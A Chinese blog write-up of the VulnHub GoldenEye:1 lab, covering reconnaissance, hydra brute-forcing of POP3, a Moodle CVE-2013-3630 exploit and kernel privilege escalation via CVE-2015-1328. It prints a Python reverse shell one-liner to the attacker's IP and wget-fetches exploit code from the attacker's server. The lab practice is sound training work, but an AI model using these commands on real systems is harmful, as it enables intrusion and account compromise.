《VulnHub》GoldenEye:1


title: 《VulnHub》GoldenEye:1
date: 2024-02-16 14:53:49
updated: 2024-02-16 15:08:49
categories: WriteUp:Cyber-Range
excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏感信息、ip 与域名映射写进 hosts 文件、whatweb 工具检测网站、图片隐写分析、CVE-2013-3630 漏洞利用、python 反弹 shell、使用 ptyhon 获取 tty、CVE-2015-1328 漏洞利用、kali 本地 exp 库攻击脚本利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。

1:靶场信息

靶场地址:
https://www.vulnhub.com/entry/goldeneye-1,240/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap 192.168.8.0/24 -sn

在这里插入图片描述

可以确定目标 ip:192.168.8.137。

进行端口扫描、服务探测、OS 探测
nmap 192.168.8.137 -p- -sC -sV -O

┌──(root㉿kali)-[~]
└─# nmap 192.168.8.137 -p- -sC -sV -O 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 10:43 HKT
Nmap scan report for 192.168.8.137
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES USER CAPA AUTH-RESP-CODE PIPELINING TOP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_pop3-capabilities: USER CAPA PIPELINING RESP-CODES TOP AUTH-RESP-CODE SASL(PLAIN) UIDL STLS
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:01:85:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.41 seconds

先访问 80 端口看看。

给出了一个登录地址。查看源码还可以发现一个 js 文件。

在这里插入图片描述

terminal.js 内容如下。

在这里插入图片描述

var data = [
  {
    GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"
  }
];

//
//Boris, make sure you update your default password. 
//My sources say MI6 maybe planning to infiltrate. 
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
//
//BTW Natalya says she can break your codes
//

var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {
  var currentElementId = allElements[j].id;
  var currentElementIdContent = data[0][currentElementId];
  var element = document.getElementById(currentElementId);
  var devTypeText = currentElementIdContent;

 
  var i = 0, isTag, text;
  (function type() {
    text = devTypeText.slice(0, ++i);
    if (text === devTypeText) return;
    element.innerHTML = text + `<span class='blinker'>&#32;</span>`;
    var char = text.slice(-1);
    if (char === "<") isTag = true;
    if (char === ">") isTag = false;
    if (isTag) return type();
    setTimeout(type, 60);
  })();
}

访问登录地址。

在这里插入图片描述

terminal.js 文件中的 html 编码字符串解密如下:

在这里插入图片描述

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
InvincibleHack3r

除此以外从 js 文件中还可以得到两个名字:Boris、Natalya。

以此尝试一下登录,最终得到用户名与密码:

username: boris
password: InvincibleHack3r

登录后页面如下,提示了可能需要从 pop3 服务入手。

在这里插入图片描述

那就尝试爆破一下邮件服务密码。

将要使用的用户名写入文件。
echo -e 'boris\nnatalya' > name.txt

使用 hydra 爆破 pop3
hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

爆破出了两个账户。

login: boris     password: secret1!
login: natalya   password: bird

接下来可以通过 nc 登录 pop3 查看邮件

nc -nv 192.168.8.137 55007    # 登录邮箱
user boris                    # 登录用户
pass secret1!                 # 登录密码
list                          # 查看邮件数量
retr 1                        # 查看邮件内容

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接下来查看一下 natalya 用户的邮件。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

获得了一个用户信息。

username: xenia
password: RCP90rulez!

除此以外获得了一个域名与网址信息。

severnaya-station.com
severnaya-station.com/gnocertdir

如果直接用 ip 访问是以下效果:

在这里插入图片描述

那就将 ip 与域名映射写进 hosts 文件。

192.168.8.137    severnaya-station.com

Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts

再次访问网站:

在这里插入图片描述

网站 CMS 为 Moodle。

也可以用 whatweb 工具检测:
whatweb http://severnaya-station.com/gnocertdir/

在这里插入图片描述

网站需要登录,尝试使用以下用户信息登录网站:

username: xenia
password: RCP90rulez!

在这里插入图片描述

在这里插入图片描述

查看未读邮件。

在这里插入图片描述

这里发现 CMS 为 Moodle 2.2.3。

在这里插入图片描述

得到了一个新用户:doak

使用 hydra 爆破一下 pop3
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3

爆破出用户名与密码:

在这里插入图片描述

login: doak    password: goat

通过 nc 登录 pop3 查看邮件

nc -nv 192.168.8.137 55007    # 登录邮箱
user doak                     # 登录用户
pass goat                     # 登录密码
list                          # 查看邮件数量
retr 1                        # 查看邮件内容

在这里插入图片描述
获得了一个用户信息。

username: dr_doak
password: 4England!

用这个用户信息登录进网站:

在这里插入图片描述
发现一个私人文件,下载后查看。

在这里插入图片描述
给了一个网址目录:
/dir007key/for-007.jpg

访问查看:

在这里插入图片描述
根据邮件提示检查一下图片,先将图片下载。
wget http://severnaya-station.com/dir007key/for-007.jpg

之后可以用以下工具进行分析:

  • binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
  • exiftool:图虫,解析图片 exif 信息
  • strings:用于打印文件中可打印字符串(ASCII 码)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
识别出一串 base64 编码:

eFdpbnRlcjE5OTV4IQ==

解码:

在这里插入图片描述

eFdpbnRlcjE5OTV4IQ==
xWinter1995x!

根据邮件中提示猜测这是 admin 账户的密码。

尝试登录网站:

在这里插入图片描述
没有发现什么可以利用的。

那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。
关键字:Moodle 2.2.3 poc exp

发现 CVE-2013-3630 漏洞。尝试利用。

漏洞 exp 详情:

《Moodle - Remote Command Execution (Metasploit)》:
https://www.exploit-db.com/exploits/29324

从 exp 中可以看到,需要将拼写检查 google spell 换成 PSpellSHell。

在这里插入图片描述
刚好用 admin 登录的 CMS 后台可以进行此设置。

在这里插入图片描述

原因是目标主机上不存在 GCC 编译,只能 CC 编译,所以需要把 Google Spell 改成 PSpellShell。

2.2:漏洞分析 & 渗透攻击

启动 MSF
msfdb init && msfconsole

查找相关漏洞。
search CVE-2013-3630

在这里插入图片描述
使用序号为 0 的模块进行渗透。

use 0
show options
set USERNAME admin
set PASSWORD xWinter1995x!
set RHOSTS severnaya-station.com    # 设置目标主机
set TARGETURI /gnocertdir           # 设置目录

在这里插入图片描述
为了获得反弹 shell 的会话,还需要设置 payload

set payload cmd/unix/reverse    # 使用 cmd/unix/reverse
show options
set lhost 192.168.8.15          # 设置攻击机 ip

在这里插入图片描述
执行。

在这里插入图片描述
好,失败了

查阅资料发现可能是 msf 版本过高问题,但也发现了手工利用的方法。

《VulnHub-GoldenEye-1 靶场渗透测试》:
https://www.freebuf.com/articles/web/260592.html

开始手工利用漏洞

在下图所示路径设置中更改为以下 payload:

在这里插入图片描述

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后在 kali 终端使用 nc 监听相应端口
nc -lnvp 6666

之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。

在这里插入图片描述
在这里插入图片描述
目标机安装了 python,可以使用 ptyhon 获取 tty,不然有些命令无法执行。
python -c 'import pty; pty.spawn("/bin/bash")'

teletypewriter(tty),表示终端或终端模拟器。

在这里插入图片描述
至此获取了目标机器一个低权限 shell。

2.3:后渗透

进行提权。

查看一下系统内核
uname -a

在这里插入图片描述
搜索一下相关的内核漏洞。

在这里插入图片描述
在这里插入图片描述
得到 EDB-ID:37292

搜索 kali 本地 exp 库中 37292 攻击脚本信息
searchsploit 37292

在这里插入图片描述
将该文件复制到一个目录中。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/

查看目标机器,发现目标没有安装 gcc,但安装了 cc。还安装了 wget

C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。

在这里插入图片描述
原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。

在这里插入图片描述
在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。
python3 -m http.server 8088

在这里插入图片描述
目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/37292.c

在这里插入图片描述
编译,并给可执行文件赋权,然后执行

cc -o rootshell 37292.c
chmod +x rootshell
./rootshell

在这里插入图片描述
成功提权至 root。

最后使用 ptyhon 获取 tty。
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
完结撒花!

3:总结

该靶场要点在于对敏感信息泄露的收集。

3.1:命令 & 工具

3.2:关键技术

  • 主机发现
    nmap <ip cidr> -sn

  • 目标信息扫描,端口扫描、服务探测、操作系统探测:
    nmap <target> -p- -sC -sV -O

  • 源码 js 文件泄露敏感信息,html 编码字符串解密。

  • hydra 爆破邮件服务(pop3)
    hydra -L <name file> -P <password file> <target> -s <port> pop3
    hydra -l <name> -P <password file> <target> -s <port> pop3

  • netcat 登录查看邮件

nc -nv <target> <port>    # 登录邮箱
user <username>           # 登录用户
pass <password>           # 登录密码
list                      # 查看邮件数量
retr <num>                # 查看邮件内容
  • 邮件泄露敏感信息

  • ip 与域名映射写进 hosts 文件
    Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
    Linux hosts 文件位置:/etc/hosts

  • whatweb 工具检测网站
    whatweb <URL>

  • wget 下载文件
    wget <URI>

  • 图片隐写分析
    binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
    exiftool:图虫,解析图片 exif 信息
    strings:用于打印文件中可打印字符串(ASCII 码)

  • CVE-2013-3630 漏洞利用。(msf 利用、手工利用)

  • python 反弹 shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 代码解释
import socket,subprocess,os;                           # 导入 socket、subprocess 和 os 模块
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    # 创建一个 TCP 套接字
s.connect(("<ip>",<port>));                            # 连接远程主机的 IP 与端口
os.dup2(s.fileno(),0);                                 # 将标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1);                                 # 将标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2);                                 # 将标准错误重定向到套接字的文件描述符
p=subprocess.call(["/bin/sh","-i"]);                   # 通过 subprocess 模块调用 /bin/sh,并使用 -i 参数以交互模式运行 shell。
  • netcat 监听端口反弹 shell
    nc -lnvp <port>

  • 使用 ptyhon 获取 tty(teletypewriter,表示终端或终端模拟器):
    python -c 'import pty; pty.spawn("/bin/bash")'

  • 查看系统内核
    uname -a

  • CVE-2015-1328 漏洞利用。EDB-ID:37292。

  • 搜索 kali 本地 exp 库中攻击脚本信息
    searchsploit <ID>

  • 在目录下开启一个简单 http 服务
    python3 -m http.server <port>

  • 编译 c 文件,并赋权,执行。(利用系统内核漏洞提权)

cc -o <filename> <c file>
chmod +x <filename>
./<filename>

人之忌,在好为人师。

——《孟子》(战国)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值